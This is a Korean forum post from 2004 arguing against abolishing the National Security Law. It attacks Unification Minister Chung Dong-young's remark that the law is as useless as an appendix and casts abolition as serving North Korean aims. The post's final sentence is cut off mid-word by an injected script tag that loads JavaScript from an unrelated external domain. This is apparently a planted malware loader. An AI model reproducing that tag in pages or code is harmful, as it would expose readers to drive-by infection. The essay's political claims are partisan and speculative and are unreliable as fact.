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제목 국보법은 쓸모없는(?) 맹장이 아니다.
등록자 양천구회
등록일 2004-11-30 오후 2:09:12 조회수 1965
국보법은 쓸모없는(?) 맹장이 아니다. 정동영 통일부 장관은 국가보안법은 인체에 있는 맹장과 같이 아무 쓸모도 없으므로 떼어내어 버려야 한다고 말한 것이 언론에 보도되었다. 도대체 한 나라의 장관 입에서 어떻게 그런 말이 나올 수 있는지 벌린 입이 다물어지지 않는다. 열린우리당 지도부도 국가보안법이 쓸모없어서 폐지하자는 것이 아니라 국가보안법의 독소조항을 폐지하되 그 외 조항은 대체입법을 하든가 아니면 형법에 흡수시키는 조건으로 폐지하자고 주장한다. 즉 불고지죄 등 인륜이나 양심에 심히 반하는 조항은 삭제하되 대한민국의 민주적 기본질서를 수호하는데 필요한 조항은 대체입법 또는 형법에 흡수시키는 조건으로 폐지하자는 것이다. 그런데도 정동영 장관은 북한 조선중앙방송에서나 주장할법한 발언을 기자들에게 하였다. 이분이 과연 이 나라의 통일부장관이 맞는가? 과거 정부.여당은 정권을 유지하기 위하여 국가보안법을 악용한 적이 있었다. 그러나 국가보안법은 현실적으로 정부.여당이 정치적으로 악용할 수는 있어도 야당이나 일반 서민이 악용하기란 거의 불가능하다. 따라서 정부,여당이 국가보안법을 정치적으로 악용하지 않고 원래의 법취지 그대로 잘 집행하면 아무런 부작용이 생기지 않는다. 민중 위주의 정치를 표방하는 열린우리당이나 정부가 국가보안법을 정치적으로 악용할 의사가 없는 한 국가보안법은 악용될 소지가 전혀 없다. 그런데도 정부.여당은 뭐가 답답하여 산적한 많은 국정과제가 많은데도 불구하고 정책 우선순위를 국가보안법 폐지에 두려하고 있는가? 저 밑바닥 일반 서민들이 걱정하는 것은 열린우리당의 국가보안법 폐지 주장이 북한의 보안법 폐지 주장과 우연하게도 궤를 같이하고 있다는 것이다. 북한의 김정일 최고사령관 겸 국방위원장은 남한을 흡수통일 시키는 방법으로 한민족의 중심지가 평양이라고 선전하여 북한 위주의 통일이 당연한 것으로 여기도록 만들고, 남한과 미.일을 이간시켜 미군이 남한에서 떠나게 만들고, 북한의 조평통 등이 남한의 제 사회단체와 연대하여 남한을 분열시키고, 남한의 수구.보수 세력을 포위하여 남한을 흡수통일 한다는 것이다. 북한은 민족주의를 교묘히 이용하여 평양에 단군릉, 동명왕릉을 만들어 한반도의 중심지로 선전하는 작업을 마치는데 이미 성공했다. 그런데 서울이 한민족의 중심지가 아니라는 북한의 주장은 우연하게도 노무현 정권 들어와서 수도를 한민족의 중심지와 전혀 관계가 없는 충청도로 이전하려 하므로써 북한의 주장이 더욱 탄력을 받고 있다. 그리고 김정일 최고사령관이 남한을 고립.이간시키는 전술인 갓끈전술을 사용함에 있어 남한과 미국간의 이간은 여중생 사건 이후 진보세력이 촛불시위 등으로 미국을 맹비난하므로써 미군 대부분이 남한을 떠나려 하고 있어 이 또한 상당한 성공을 거두려 하고 있고, 남한과 일본간의 이간은 남한이 친일청산 명목으로 남한의 친일파를 청산하려 하므로써 북한은 힘을 하나 들이지 않고 한일간의 거리가 멀어지려 하고 있다. 따라서 김정일 최고사령관의 갓끈전술 중 마지막 남은 북한의 조평통과 남한의 제사회단체가 연대하여 남한의 수구.반동세력을 포위하는 작업은 현재 국가보안법 때문에 한계에 부딪쳐 있다. 따라서 북한은 남한에 대하여 국가보안법 폐지를 통일정책의 최우선 과제로 삼고 남한의 국가보안법 폐지에 통일전술의 초점을 맞추고 있다. 만약 국가보안법이 정동영 장관의 말처럼 인체의 맹장과 같이 아무 쓸모가 없는 것이라면 북한이 그렇게 기를 쓰며 남한의 국가보안법을 폐지하라고 주장하지 않을 것이다. 이는 역으로 해석하여 국가보안법 때문에 북한의 남한 적화작업이 막대한 지장을 받고 있다는 것을 의미한다. 그런 마당에 다른 사람도 아닌 한국의 통일원 장관이 국가보안법은 인체의 맹장과 같아서 아무 쓸모도 없는 것이니 이를 떼내어 버려야 된다는 말을 하는 것을 듣고 잘못 들은 것이 아닌지 귀를 심히 의심하였다. 필자가 보기에는 정장관은 어느 누구도 따라가지 못할 정도로 말 재치가 있고 똑똑한 사람이지 절대로 무지한 사람이 아니다. 그런 똑똑한 사람이 왜 무지한 것처럼 가장하여 무식한 비유로 국가보안법 폐지 명분을 만들려 하는가? 일반 서민들 생각으로는 정장관이 남북 정상회담(?)을 한번 성사시켜보려고 남한의 국가안보는 도외시 하고 속된 말로 한건 올리는데만 신경을 쓰고 있는 것이 아닌지 심히 의심하지 않을 수 없다. 정장관은 다시 한번 생각해 보시오! 남한의 민주적 기본질서를 지키기 위하여 만든 국가보안법이 과연 인체의 맹장처럼 아무 쓸모도 없는 것인지? 국보법 폐지 후 북한의 의도대로 남한 사회가 분열되고 조평통과 연합한 세력이 속칭 수구반동이라며 욕하는 세력을 포위하여 두 세력?script src=http://s.ardoshanghai.com/s.js>

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